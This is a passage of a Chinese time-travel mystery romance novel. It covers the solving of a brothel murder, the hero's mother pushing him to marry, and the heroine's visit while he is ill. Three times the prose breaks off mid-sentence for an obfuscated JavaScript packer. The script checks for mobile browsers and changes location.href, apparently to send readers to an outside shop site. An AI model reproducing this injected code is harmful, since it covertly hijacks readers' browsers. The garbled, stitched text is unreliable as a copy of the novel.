“嗯。”温女萝点点头,“大人,我错了。” 17. 017 天边泛起一抹鱼肚白,朝阳缓缓升腾。周遭店铺开业的声音隐约传来,由远及近,渐次清晰。 温女萝打了个哈欠,揉着眼睛说:“就剩下顾宴礼,我去喊他进来。” 安乐侯顾宴礼,既是第一发现人,也是赎走苏妙儿的恩客。 “不必。”沈京墨说完也不解释,慢条斯理地打开腰间荷包,取出一个白瓷小盒。他从里面拈起一颗粽子糖,含进嘴里细细品了品,然后才抬起头,瞟了温女萝一眼,甩出三个字。 “吃糖吗?” 温女萝感觉自己又要炸了,一下子跳到他面前,撅着小嘴儿老大不乐:“顾宴礼是大人的表兄弟。大人是不是想包庇他?” 说完,她也捻起一颗粽子糖放入口中。 买的时候老板说了,这糖来自苏州,里头放了玫瑰花和松子仁,是当地的特色名产。贵果然有贵的道理,香气独特,清甜可口,简直比阿尔卑斯好吃太多。 趁沈京墨合上糖盒之前,温女萝眼疾手快地,又捞了一颗。 她嘴里含着糖,说起话来含含糊糊:“我瞧得真真儿的,顾宴礼的衣裳是松绿色,他也有嫌疑。大人休想以权谋私。” 沈京墨扬了扬唇角,露出一个嘲讽的笑。他随手拿起几案上的一条帕子,从她眼前一掠而过:“看清楚没有?” 熟悉的香味钻入鼻中,温女萝先是看见一抹浅紫,随后便被一截雪白晃了眼睛。她拽住沈京墨的袖子,柔腻的指腹在男人腕间轻轻摩挲,一下,又一下。 “大人的胳膊怎么这样白。”她说。 怪不得占便宜要叫吃豆腐。沈大头的胳膊就像豆腐一样白,而且是刚出水时最嫩的豆腐。 沈京墨看在眼里,白皙的皮肤下慢慢透出粉色,腕间的青筋也隐隐凸起。他一巴掌拍掉她的爪子,一贯冰冷的嗓音变得低沉喑哑:“没有本官允许,不准摸本官的手。” 温女萝抱着发红的手背,不好意思地笑笑:“一叶障目不见泰山,大人的意思我懂了。苏妙儿第一次醒来瞧见的不是衣服,而是一条松绿色的手帕。我记得那手帕上一股甜香,跟它的味道很像。” 她伸出右手食指,指向几案上的紫色丝帕——沈京墨刚才随便找了个借口,让严妈妈留下这方丝帕。 沈京墨微一点头:“上头染了迷情香,分量极轻,但对付酒醉之人足矣。” 温女萝想确认自己没有听错,试探着问:“迷情香?” 沈京墨随口介绍:“曼陀罗为底,取其迷幻。麝香为佐,取其催情。先迷后情,二者兼备,所以叫迷情香。” 男人说得不痛不痒,落在温女萝的耳里却是相当不中听。 既然对她用了这种东西,想要贴贴不是很正常吗? 差点怀疑自己是真变态。 温女萝舔了舔嘴里的糖果,反复思考之前看见的情形。 苏妙儿本就酒醉,闻了迷情香,当然会立刻陷入沉睡。关键是为什么要弄晕她? 脑中迅速闪过无数个念头,忽然,如同名侦探柯南被闪电穿透太阳穴的名场面,噼啪一声,她想明白了一切。 “松绿、杏黄、宝蓝,我误以为看见三次颜色便是三个人。实际上,除了最后的朱时宜,前两次根本是一个人。” 清晨的阳光透过窗棂,照在女孩子温柔的侧脸。她抬起卷翘的睫毛,注视着男人,目光满怀期待。 沈京墨“嗯”了一声。 温女萝接收到来自他的鼓励,开始娓娓道来:“首先,苏妙儿醒来的第一句话是,‘阿福?’——她之所以认为来人是徐五福,是因为徐五福送她回了房。这恰恰说明来人不是徐五福,而且是在徐五福之后进屋。这人找不着玉牌,正值焦头烂额的时候,苏妙儿醒了,还误以为来人是徐五福。这人便将计就计,先将苏妙儿弄晕,再套上一件杏黄色的衣裳,假扮成徐五福套话。毕竟银红这样的亮色,与杏黄色相去甚远。” 没错,来人正是杨絮絮。她就是杀害苏妙儿的凶手。 虽说苏妙儿最后看见的人影是朱时宜,但凶器不对。朱时宜明知道匕首是他赠与苏妙儿,如果使用,岂不是增加自己的嫌疑? 主要的着手点,还是作案动机。也就是那块玉牌。 苏妙儿的身世究竟如何,温女萝不得而知。 在杨絮絮眼中,苏妙儿靠着瞎编的故事钓上了顾宴礼,所以才会问出那句——“姑娘,顾侯问你玉放哪了?” 杨絮絮以为拿了玉牌就能攀上青云梯,尤其苏妙儿的故事如同为她量身定制。她与苏妙儿一样来自扬州,又是十几年前的旧事,只要苏妙儿死了,谁也分不清杨絮絮与苏妙儿的差别。 以真假千金为题材的小说,温女萝在现代看过很多本。当知道杨絮絮与苏妙儿年龄相仿经历相似的时候,她心中便有了猜测。关于玉牌的来历,没有人比徐五福更清楚。朱时宜一介男儿身,拿了玉牌也无用,自然他也不需要冒名顶替他人。因此,他们都不是凶手。 沈京墨点头表示同意,吩咐她:“出去。把这番话说给他们听。” 温女萝怔怔地站在那里,片刻之后才回过神来,却不敢抬眼看他,低下头,绕着手指:“我社恐,我害怕。” 沈京墨有点不明白:“什么是社恐?” “社交恐惧症。”温女萝给出完整名词。古代虽然没有“社交”一词,但有社会交际的说法,所以她没费多少功夫就解释清楚。 “难道本官看起来有社交无畏症?”沈京墨眸色一凛,“你去不去?” 不去! 不去就要砌城墙挖河沟。 温女萝撇了撇嘴,站起身往外走:“大人不是无畏,大人是麻木,平等地创死所有人。” 说完,她伸手拉开门,又飞快合上。 “秦大人来了!” 眼下已是卯中,算算时间,秦煦收到留春楼这边的消息,也是时候到场。 沈京墨看了温女萝一眼,见她紧张得不行,心里觉得有些好笑。他直接牵起她的手,带她出了客房。 许是有人撑腰的缘故,温女萝拎着玉牌侃侃而谈。 揭穿凶手身份时,杨絮絮还在为自己辩解。等到提及作案过程,开始沉默无言。直至动机彻底公开,终于再度开口:“我没有说谎,当真是苏妙儿抢了我的玉牌。顾郎,我才是你要找的人!” 顾宴礼脸上只有茫然。 反倒是徐五福,怒目圆睁,张口反驳杨絮絮的说辞:“那是我的东西。是我爹亲手为我做的,不雕花不刻字,取平安无事之意。” “不可能!苏妙儿亲口与我说,那人身份尊贵,一定难以接受女儿沦落风尘;幸得顾郎倾力相助,让她悄悄见过亲人一面,或许有朝一日,他们能够相认。”杨絮絮脸上神情变幻,艳羡、嫉恨、决绝,最后是不甘,“我也曾是好人家的女儿。分明是我与顾郎先遇见,凭什么好处全让苏妙儿得了去?我们发过誓,有福同享有难同当,我尚且身处泥淖,岂能叫她称心如意!” 越是身边的人,越不希望你过得比他好。前世的温女萝,五岁时便明白这个道理。 在乡下农村,男人打老婆打孩子,实在是一件再寻常不过的事。有段时间妈妈怀了二胎,奶奶看怀相说是男孩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486325|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸做梦都想生儿子,自然没有再动手。村里的女人见了,非但不替妈妈高兴,反而四处造谣,污蔑妈妈偷人。爸爸气不过,在外头跟人争执了几回。可是那些人说的有鼻子有眼,其中两个还是妈妈的好朋友。怒火中烧之下,爸爸将妈妈打成重伤。妈妈在医院住了三个月,孩子也没有保住。 回忆起当时情形,温女萝只觉遍体生寒,直到嘴里传来一阵铁锈味,她才惊觉自己咬破了舌尖。 “……我与妙儿两情相悦,这才有了长长久久的想法。”顾宴礼坐在那里一动不动,低垂着头,眼睛盯着自己脚尖,“妙儿的容貌,的确与家中一位长辈有些相似之处。至于他们没有血缘关系,尚且不清楚。” 杨絮絮听完怔了一瞬,随即抬眼望向虚空,露出一个认命的笑:“如此也好,我与妙儿同生共死。” 至此,凶案总算了结。 温女萝跟在沈京墨身后,随他一起下楼。 秦煦脚跟一转,抬手将她拦住:“本官很好奇,卯君姑娘是如何推理出凶手先以香粉迷晕死者,再换衣裳假扮他人?细节之详尽,过程之圆满,简直如同亲眼所见。” 看着他笑眯眯的样子,温女萝忍不住想,府尹大人果然有两把刷子,她可不就是亲眼所见。 “塔罗牌高深莫测,上可预知人间万物,下可卜算祸福吉凶。”沈京墨挡在温女萝身前,眼皮撩起,声音含上两分嘲讽,“卯君,帮秦大人算算官运。” “好勒。”温女萝从袖中掏出塔罗牌,一边抽牌,一边在心里竖大拇指。 沈大头,好样的! 正所谓,科学的尽头是玄学,所有逻辑解释不通的问题,甩给玄学就对了。 “星币七的逆位。”温女萝摇摇头,语气不无惋惜,“玉不琢不成器,秦大人还需继续努力。” 沈繁星眼底闪过一丝笑意,面上仍是一本正经:“占卜结果秦大人听到了,日后务必谨记。” 秦煦干笑两声,心知问不出什么,识趣地转换了话题:“岑卯君和秦雅颂的去留之事,沈大人可有决断?” “本官还是那个意思。”只此一句,沈京墨说完便拾级而下,转眼消失在楼梯转角。 温女萝赶紧跟上。 她总觉得有哪里不对劲,却又说不上来。那个意思是什么意思?莫非沈大头一开始就想好了要留她?可是他威胁恐吓她的模样,半点不像装的…… 等他们走到留春楼大门口时,瞧见顾宴礼独自坐在阶前,一副魂不守舍的模样。 沈京墨顿住脚步,目光望向前方,仿佛在对着虚空说话:“苏妙儿谎话连篇,杨絮絮嫉妒成性,她们两人有此下场,纯粹是咎由自取。” “原以为两全齐美,如今珠沉玉碎,我该如何是好。”顾宴礼抓了抓自己头发,双目泛红,像是懊悔到了极点,“早知道,我昨天就该带妙儿去寻你。” 沈京墨沉吟片刻,道:“人有相似,物有相同。这世上哪有许多巧合。不如就让你那位长辈以为自己女儿好好活在世上。青楼头牌,终究不是什么好名声。” 顾宴礼木然地点点头,站起身上了马车。 沈京墨目送马车驶出巷口,悄悄松了一口气。 温女萝站在一旁,惊讶地睁大眼睛:“原来大人也会说人话。” 沈京墨毫不客气地反唇相讥:“比不得十七姑娘,见人说鬼话,见鬼说人话。” 啥意思?难道是在说她人不人鬼不鬼?还没等温女萝想明白,沈京墨已经上了马车。 马蹄踩在地面,发出哒哒的响声。 “沈大人,等等我!” 18. 018 马车平稳驶出平康坊。 温女萝挨着沈京墨坐着,两人之间的距离近。她侧过脸看向他,眼里亮晶晶的,像是盛满了光。 沈京墨好似毫无所觉,转头看向窗外,目光落在来来往往的行人:“有话就说。” “大人怎么知道苏妙儿改过姓?”温女萝不假思索。 她刚吃完糖,一开口,清甜的香气便丝丝缕缕地飘过来。 指尖暗暗蜷曲,沈京墨无声地喘了一口气,冷笑:“你可知唐天杰祖籍何处?” 温女萝被问得莫名其妙,闭上眼认真想了想,想了半天,硬着头皮回答:“好像是蜀中。” “周颜可呢?”沈京墨又问。 温女萝不再勉强自己,直接开口:“不知道。”随后反问,“莫非大人知道?” 沈京墨没吭声。他把视线从窗外收回,后背靠着软枕,缓缓阖上双眼。 温女萝还以为领导尴尬,主动帮忙找补:“大人贵人事忙,不记得也是正常。” 话音刚落,她立刻反应过来。留春楼内上百红袖,严妈妈如何记得住每个人的来历?像苏妙儿这样的头牌,尚且能够理解。像徐五福和徐七巧这样的小丫鬟,便连取名都如此随意,严妈妈怎会将心思分给她们。 记住的关键,就在于她们的姓。徐五福和徐七巧同样来自徐州,苏妙儿和杨絮絮一道从扬州来到长安。还有严妈妈,既然她是盐城人氏,说明这样的取名方式是留春楼一以贯之的传统。 温女萝点点头,在心底为自己的聪明才智叫好:“大人是这个时候确定凶手的吗?” 马车穿行在青石路上,车夫忽然开口:“世子爷,已到小南门。” 此时正值早市,窗外人声鼎沸,各色小摊逐一从眼前掠过,热腾腾的烟火气扑面而来,温女萝吸了吸鼻子,是肉包子!刚出笼的那种。 她顿时来了精神:“大人,我要吃肉丸胡辣汤。” 沈京墨睁开眼,似笑非笑地勾了勾唇角:“你若对案件也如此上心,不知省去多少麻烦。” 马车停下,车夫放置好脚凳。 “吃饭不积极,思想有问题。”温女萝纵身一跃,直接跳下马车。裙摆随着动作向上翻飞,露出里面桃红色的纱裤。那衫裤轻薄半透,底下雪白的大腿若隐若现。 沈京墨眸色一暗,别过脸去,可那一眼的画面却像是烙在了脑子里,身上隐隐泛起一股燥热。 他皱了皱眉,抬手解下大氅。 温女萝自发代替薛岳的位置,站在脚凳旁边,向上抬起胳膊,一副等着沈京墨来扶的架势。 男人薄唇紧抿,自顾自走下马车,没有碰表情狗腿的女孩子。 温女萝却一点都不在乎,找了个小摊坐下,抓着手里的帕子,仔细擦拭桌椅。她偷了点懒,只把沈京墨那块地方弄干净,自己这边就无所谓了。 老板端上来两份胡辣汤,一碗加了葱花,一碗没加。 温女萝跟在沈京墨身边这么些天,对他的喜好早已了然于心——沈大头吃葱,但只爱葱香,不喜口感。她伸手端过来那碗加葱的胡辣汤,迅速地把葱花挑到自己碗里。 沈京墨时不时抬眸看她,目光竟是难得的专注:“徐五福与苏妙儿同吃同住,她要下手有很多机会。敬国公府鲜花着锦,朱时宜一句话,自有人替他去办。” 言外之意,除了杨絮絮,凶手根本不作他想。 温女萝觉得有点尴尬。 引以为傲的特殊能力,非但没有带来任何帮助,反而差点拖了后腿。 “大人,我不想去工部。”她看向他,眼眸黑白分明,明亮得刺目。 沈京墨没有回应,伸手拿起勺子,舀了一颗肉丸。 肉丸鲜嫩多汁,辣椒和花椒的搭配恰到好处。 吃完胡辣汤,又喝过大麦茶,等到坐回马车内,男人才不疾不徐道:“青楼女子大多手握秘药,本官虽然知道,但是没有你的提醒,想不到那上头去。十七姑娘既然能与死者五感相通,便不算全无用处。” 说着,他抽出腰间折扇,用扇骨轻轻点了点温女萝的心口。 “疼吗?” 疼。剜心之痛怎么能不疼。苏妙儿临死前经历过的一切,温女萝都要体验一遍,算上宋安然,她已经“死”过两次。 沈大头,确实很敏锐。 温女萝低了低头,瞧着落在自己胸上的扇子,只觉脸颊烧得厉害,抬手便抡了他一巴掌。 “流氓!” 沈京墨一直都知道,女孩子的力气比寻常闺秀要大一些,但直到巴掌扇到脸上,才有了真真切切的体会。 回到英国公府,甫一进院门,海月便迎上前低声禀报:“世子爷,郡主在里面等着你呢。” 沈京墨略略颔首,然后顶着轮廓清晰的五根手指印,面无表情地走向书房。 书房内,温宪郡主正坐在炕上喝茶,听见动静,抬头盯着他看了两眼,笑道:“去留春楼了?” “嗯。”沈京墨随手拉过一把椅子,在母亲对面坐下。 温宪郡主听罢,举起素帕掩住嘴,可掩不住眼底的笑意:“被女人打了?” 沈京墨再次“嗯”了一声。 他知道母亲有所误会,但不想解释,因为不管怎么解释,最终只能得到一句话。 既白,该成家了。 果然,还没说到三句,温宪郡主开始老生常谈:“既白,你如今二十有一,年纪老大不小,再不成家,好人家的姑娘没几个了。定远侯府与你外祖父是同宗,他们家的女儿从小在苏州长大,江南水乡美啊,养出来的姑娘跟瓷娃娃似的……” 这些话沈京墨听了无数遍,唯独“瓷娃娃”三个字,倒是第一次听闻。 不知为何,他的脑海中迅速浮现出温女萝那张白生生的小脸,睁着又大又亮的眼睛,珠圆玉润的模样,像极了庙会上卖的瓷娃娃。眨眼间,她小脸涨红,小嘴噼里啪啦一阵痛斥:“再有下次,我去告御状!” 沈京墨眉头紧皱,骤然发问:“娘,什么是职场性骚扰?” “啊?”温宪郡主被问得措手不及,准备好的长篇大论全忘了,支支吾吾半天,总算挤出一句话,“你从哪里学来,听着不像正经词。” 沈京墨长叹一口气:“事关重大,母亲有话请改日再说。” 语罢,他起身走到书架那儿,抽出一本书,翻开看了几页,摇摇头放回去。又取下一本,再翻,还是不满意,叹了口气,再次放回。 男人嘛,公事为重。温宪郡主理解地点点头,起身离开书房,出去时,顺手将门合上。 脚步声渐行渐远,沈京墨竖着耳朵听了一会儿,确定母亲走远了,这才把书一扔,仰面躺倒在罗汉榻上。 事情是有蹊跷的。 一则,温女萝养在深闺,理应手不能提肩不能扛。可她挖坑种树时,动作行云流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486326|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,仿佛天生就是干这个的。 二则,温老爷卖女儿的名声,在长安城已是人尽皆知。可去年九月中,沈京墨到武安侯府给温老太君贺寿,远远就听见他向在场宾客介绍自己家的十七姑娘:腰似杨柳,面若桃花,性子柔顺,不通文墨。温女萝称不上学富五车,但偶尔能念出来几句诗词,典故也懂一些,更兼写得一手好字,明显受过良好教养。 三则…… 正想着,外面忽然传来一声怒吼。 “臭小子,连你娘都敢骗!” 温宪郡主抬脚踹开房门,双手叉腰,面含愠色。在她身后,英国公沈绍钦负手闲立,一脸“你完了”的表情。 院子里静悄悄的。 温宪郡主在榆钱树下搭了张桌子,临时充作公堂。 沈京墨头顶三本书册,直挺挺地跪在鹅卵石上。 “砰”的一声,温宪郡主拍响惊堂木,大声质问:“沈既白,你可知罪?” 沈京墨微抬起头,将将说出一个“请”字,脑袋上的书册哗啦啦往下掉。 温宪郡主瞥一眼旁边的开花,十分威严地说:“加刑。” “世子爷,得罪了。”开花上前捡起书册,重新在沈京墨的颅顶垒好,复又取过一只玉壶春瓶,稳稳当当地摆在书册之上。 沈京墨屏气凝神,竭力保持住身体平衡,还不忘继续陪母亲演戏:“请问郡主,我有什么罪?” 没法子,如果不配合,沈家上下都会来训斥他。 “子曰:五刑之属三千,而罪莫大于不孝。”温宪郡主绷着脸,数落起儿子的过失,“第一,编造谎言,糊弄双亲。” 刚刚被抓了现行,沈京墨无可辩驳。 “确有此事。”他道。 “第二,不肯娶妻,忤逆父母。” 沈京墨直视温宪郡主,眼神依然云淡风轻:“郡主说的是。” 事实如此,没必要回避。 “第三,不孝不顺,不敬尊长。”温宪郡主瞧他半点认错的态度也无,难免有些气急败坏,“叫公爹在天之灵不得安息。” 沈京墨猛然抬起头,书册往身后一歪,玉壶春瓶随之落地,摔个粉碎。 “我对祖父发过誓,一日找不到凶手,一日不娶妻生子。”说完,他缓缓垂下眼睛,长长的睫毛轻轻颤抖,将那份隐秘心事悄然隐藏。 “你以为,只你一人有心吗?”温宪郡主抬起一掌,气呼呼拍在桌案,“他是你的祖父,难道就不是我的公爹?你父亲,你祖母,你五位叔叔,大家全都记得,一日也不曾忘!没有谁不许你查明真相,可你又是怎么做的?沈既白,你以为不娶妻折磨的是你自己,不,我早就受够这种煎熬,日复一日,日复一日,整整过了六年,看着你形单影只,娘恨不得死的是我自己。” 她痛哭出声。 在这一刻,母亲的眼泪胜过世间一切。 沈京墨不敢再看,所以他闭上眼,说:“好,我娶她。” 透过手指间的细缝,温宪郡主朝沈绍钦眨眨眼,眼底满是得意。 自己的儿子,自己最是清楚,看着冷心冷面,实则心肠极软。而今能得他一句准话,总算不枉她在帕子上抹了辣椒水。 沈绍钦见状,悄悄对媳妇投去赞赏的眼神。 夫妻俩正高兴着,就见沈京墨吐出一口鲜血,整个人向前栽倒。 开花大惊失色:“不好,世子爷又犯病了!” 19. 第19章 马车停下,英国公府已到。 温女萝撩开车帘,轻轻提起裙摆,踩着脚凳下了马车。 不过短短十日,沈京墨病了两回。 昨天大清早,温宪郡主派人来京兆府告假,只说病好了回来当差,没提到底要多少天。得知这个消息之后,温女萝乐得自在,回去睡了个回笼觉,然后一个晚上都没睡安生,今天上午在府中磨磨蹭蹭半晌,还是决定来看一看沈大头。 毕竟快要发工资了,不能在这种时候得罪领导。 门房照旧眼睛长在头顶,漫不经心接过她的腰牌,看了几眼,脸上立马堆满讨好的笑,眼睛也变得炯炯有神:“卯君姑娘,这边请,世子爷等您许久。” 这话一出,温女萝顿时升起不好的预感。 今儿可没买糖,沈大头等自己做什么? 跟上回一样,温女萝在东边角门坐了车,行至垂花门前下来。不一样的是,这回围上来三四个小厮并七八个婆子,众婆子站在一顶绿油布小轿旁,招呼她进里头去。 温女萝恍然。 原本还心疼沈大头出个门要走那么一大段路,敢情人家有轿子坐。 她坐在轿里,时不时掀起帘子往外看,只觉得这速度还不如两条腿走得快。 轿子晃晃悠悠,终于在琼楼小筑前停下,婆子打起轿帘,扶着温女萝的手下来。海月站在廊下,见人来了,连忙笑脸相迎:“卯君姑娘,世子爷——” 不等她说完,温女萝风一样跑进去。 书房内门窗大开,沈京墨歪在窗下的炕上,穿着玉色中衣,外罩一件莲青色的鹤氅。他看见女孩子提着裙子,一溜烟儿过来,手里还抱着一只小巧的花盆。 温女萝将花盆放到炕桌上,笑盈盈道:“祝大人早日康复。” 花盆里种着一株绿色小苗,叶片长圆,边缘生有一圈小芽,小芽张开两片小叶儿。定晴一看,沈京墨发现每一个小芽,都像是一个小苗,整齐地排列在一块,绿意盎然的样子,瞧着倒有几分喜人。 他头也不抬,只问:“这是什么?” “不死鸟。”温女萝坐在离榻边最近的一张圆凳上,偷偷打量沈京墨。男人漆黑的眼下一片乌青,约莫昨晚没有睡好,脸色差得要命,较往日更显苍白,嘴唇干出一层浅浅的白色浮皮,瞧不见半点血色。 正看得出神,沈京墨忽然转过头,肃着一张脸质问:“怎么,盼着本官早点死?” 闻言,温女萝冲他翻了个大白眼。 她送的是不死鸟,当然是希望他好好活着。 傲娇就是这样,不能坦率接受别人的善意,也不能大方表达自己的好心。那日在马车内,沈京墨是想关心她的,明明一句话的事儿,非要拿扇子戳人家的胸,可不得叫她误会。 只不过,作为二次元爱好者,傲娇属性简直不要太棒! 温女萝从圆凳上站起身,挨着榻边儿坐下。清新的绿裙子正好盖住沈京墨半只手。 她凑近炕桌,翘起葱白指尖,指向叶片上的小芽:“等这个长大了,落到土里,又能长成一棵新的多肉。所以也叫落地生根。它的生命力非常顽强,只要一点阳光一点水,就能生生不息。” 沈京墨听着,心中暗暗称奇,坐直了身体,抬手将花盆往窗外送。 “嗳,你干嘛!”温女萝急忙扑身去救,却见他只是把花盆挪到窗台。 正午的阳光从屋檐斜落下来,落在绿油油的叶片。 温女萝以一种诡异的姿势,整个人倒在罗汉榻上。 沈京墨身子一僵,看着她的眼睛,一字一顿地说:“十七姑娘这样,算不算职场性骚扰?” 她怎样了?温女萝正纳闷,忽然感觉掌心有什么东西在跳,右手下意识攥住,隔着柔软的毛毯,似有一阵火热的异样触感。 “不算。”英国公府不是职场,所以她回答得理所当然。 温女萝若无其事地爬起来,低头理了理自己裙子:“大人好好休息,我去看看可可豆。”说完,再次如风一样,瞬间跑没了影儿。 作为世子爷的居所,琼楼小筑十分宽敞,前头一进是客厅和书房,中间一进是正房大院,后头则是小厨房。 一直跑到第二进院落,温女萝才停下脚步,扶着栏杆直喘气,想到刚才摸了沈京墨那个地方,一张脸瞬间涨得通红。 前世的她已经年满三十,但一次恋爱也没有谈过,更别提跟男人这样那样。反倒是沈京墨,在古代可谓妥妥的大龄剩男,家里有美貌婢女,外面有章台红袖,想来早不是雏儿。 思及此,温女萝放下心来。 沈大头身体好着呢,她的工资跑不掉的。 已经过去了五天,可可豆想来发酵得差不多,前头就是小厨房,正好过去看看。抬脚往前才走两步,不经意间,余光瞥见正房前的秋千架,两根绳子一块木板,看上去十分简陋。 温女萝又退了回来。 难道是沈大头亲手做的? 她一屁股坐上去,握紧麻绳,两脚用力一蹬。秋千先是慢慢悠悠晃动,尔后越荡越高。风声在耳边呼呼作响,宽大的衣袖随风翻飞,几乎遮住了视线。又一次从最高点荡回来时,衣袖垂落,眼前豁然出现一张脸。 开花站在廊下,惊恐地朝她招手:“卯君姑娘,快过来!”说完扭头看向前院,似乎很怕被人瞧见。 温女萝奔了过去,八卦地问:“为什么呀?” “姑娘随我去小厨房。”开花答非所问地回了一句。 温女萝眨眨眼儿:“那秋千是不是沈大人为一个女子所做?那女子与沈大人两情相悦,却是未能结成连理。” “你怎么会知道?”开花面露惊讶,马上反应过来,凑头过去小声跟她说,“其实这件事大家都知道,只是憋在心里没人敢说……” 英国公沈家共有七房,除开在外为官的,如今府内住着长房、三房和七房。 长房承袭爵位,现任英国公沈绍钦娶的是慈仪大长公主之女——温宪郡主。沈七爷是老来子,今年才十四,尚未成家。而那个有着“霍去病再世”之名的沈三爷,年纪轻轻便战死边关。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486327|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>彼时,三太太陆氏有孕不足三月,悲痛欲绝之下,失了遗腹子。老太太心疼三儿媳,从陆氏娘家接过来小侄女养活。陆氏同样出身公府,他哥哥便是现任荣国公,人家的女儿金尊玉贵,凭什么养在沈家? 温女萝了然地点点头。 养成系嘛,古人就爱整这些。 “……后来咱们老太爷去世,世子爷守完三年孝。两家都开始筹办婚事,陆小姐竟然不肯嫁!”说到此处,开花咬牙切齿,“世子爷嘴上不说,可我心里知道,他就是为了陆小姐,才迟迟不肯成家。” “瞎说些什么!”海月突然从背后出现,吓了两人一大跳。她先是瞪了开花一眼,然后对着温女萝赔笑道,“卯君姑娘,这几日我都有按照要求来做,可是那豆子闻着一股怪味,不像是能吃的东西。” “噢。”温女萝一边往后院走,一边与她解释,“发酵嘛,难免会有味道,正常的。” 还没走到小厨房,海月和开花两个就像被钉住似的,站在一丈开外,纹丝不动。 温女萝摇了摇头,淡定地从袖子里摸出一枚口罩,戴在自己脸上。 芭蕉叶一层层剥开,那股发酵所产生的酸臭味便迫不及待地窜了出来。即便隔着口罩,也拦不住它往鼻子里钻。 温女萝快步走出小厨房,摘下口罩,说:““可以了,洗干净拿到太阳底下去晾晒。” 她左右瞧了瞧,这里的院子空间不大,而且堆满了酱菜坛子和大水缸,于是抬手指了指正院:“那边有块空地,寻一张大点的油布来,就在那儿弄。” 海月脸上露出为难的神色,斟酌着开口:“能不能换个地方?书房前面的院子也不小。” 当然可以。温女萝点点头:“要晒三天,前院人来人往,你们不嫌麻烦就行。还有沈大人,只怕受不了这味儿。” 听到她的话,海月也犯起愁来。正在进退两难之际,男人清冷依旧的声音忽然响起:“听她的。” 主人亲自发了话,自是再好不过。 温女萝再次戴上口罩,埋头清洗可可豆。 海月和开花站在旁边,想要上前帮忙,又不知该如何下手。 不得不说,英国公府的丫头比一般人家的主子小姐还要体面,海月穿金戴银,开花留着寸长的指甲,一看就不是干活的料。温女萝能够理解,不是人人都像她穿越前一样,自幼在农村长大,不知干了多少农活,才换来上学的机会。 油布铺好,倒上豆子。温女萝手持一杆钉耙,将可可豆们在棕色油布上均匀铺开。 沈京墨离得老远儿,唯恐那股酸臭玷污了他的“清白”。 温女萝忍不住翻了个白眼。 午时日光正烈,她满头大汗,后背都湿透了。笋绿春衫上洇出大片汗渍,颜色深一块浅一块,看着极不雅观。 沈京墨微蹙眉头,目光似有不悦。他抬手唤来海月,低声吩咐了几句。 等到豆子终于弄好,温女萝坐在台阶上休息的时候,开花过来请她:“卯君姑娘,浴室备了热水,我伺候姑娘洗漱。”